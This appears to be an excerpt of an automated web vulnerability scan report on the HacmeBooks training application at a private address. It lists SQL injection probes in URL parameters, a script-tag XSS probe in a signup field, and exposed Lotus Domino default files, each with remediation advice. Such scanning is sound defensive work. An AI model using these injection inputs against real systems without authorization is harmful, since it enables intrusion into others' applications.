http://192.168.0.142:8989/HacmeBooks/addShoppingCart.html?productId=743'INJECTED_PARAM
Parameter
productId=743'INJECTED_PARAM
Other information
SQL
URL
http://192.168.0.142:8989/HacmeBooks/bookDetails.html?id=810'INJECTED_PARAM
Parameter
id=810'INJECTED_PARAM
Other information
jdbc
URL
http://192.168.0.142:8989/HacmeBooks/bookDetails.html?id=1468'INJECTED_PARAM&d-4028674-o=2&d-4028674-s=1
Parameter
id=1468'INJECTED_PARAM&d-4028674-o=2&d-4028674-s=1
Other information
jdbc
Solution
Do not trust client side input even if there is client side validation. In general,
If the input string is numeric, type check it.
If the application used JDBC, use PreparedStatement or CallableStatement with parameters passed by '?'
If the application used ASP, use ADO Command Objects with strong type checking and parameterized query.
If stored procedure or bind variables can be used, use it for parameter passing into query. Do not just concatenate string into query in the stored procedure!
Do not create dynamic SQL query by simple string concatentation.
Use minimum database user privilege for the application. This does not eliminate SQL injection but minimize its damage. Eg if the application require reading one table only, grant such access to the application. Avoid using 'sa' or 'db-owner'.
Reference
The OWASP guide at http://www.owasp.org/documentation/guide
http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=23
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
For Oracle database, refer to http://www.integrigy.com/info/IntegrigyIntrotoSQLInjectionAttacks.pdf
Medium (Warning)
Cross site scripting
Description
Cross-site scripting or HTML injection is possible. Malicious script may be injected into the browser which appeared to be genuine content from the original site. These scripts can be used to execute arbitrary code or steal customer sensitive information such as user password or cookies.
Very often this is in the form of a hyperlink with the injected script embeded in the query strings. However, XSS is possible via FORM POST data, cookies, user data sent from another user or shared data retrieved from database.
Currently this check does not verify XSS from cookie or database. They should be checked manually if the application retrieve database records from another user's input.
URL
http://192.168.0.142:8989/HacmeBooks/signup.html
Parameter
username=<SCRIPT>alert("ZAP");</SCRIPT>
Solution
Do not trust client side input even if there is client side validation. Sanitize potentially danger characters in the server side. Very often filtering the <, >, " characters prevented injected script to be executed in most cases. However, sometimes other danger meta-characters such as ' , (, ), /, &, ; etc are also needed.
In addition (or if these characters are needed), HTML encode meta-characters in the response. For example, encode < as <
Reference
The OWASP guide at http://www.owasp.org/documentation/guide
http://www.technicalinfo.net/papers/CSS.html
http://www.cgisecurity.org/articles/xss-faq.shtml
http://www.cert.org/tech_tips/malicious_code_FAQ.html
http://sandsprite.com/Sleuth/papers/RealWorld_XSS_1.html
Medium (Suspicious)
Lotus Domino default files
Description
Lotus Domino default files found.
URL
http://192.168.0.142:8989/?OpenServer
URL
http://192.168.0.142:8989/?Open
Solution
Remove default files.
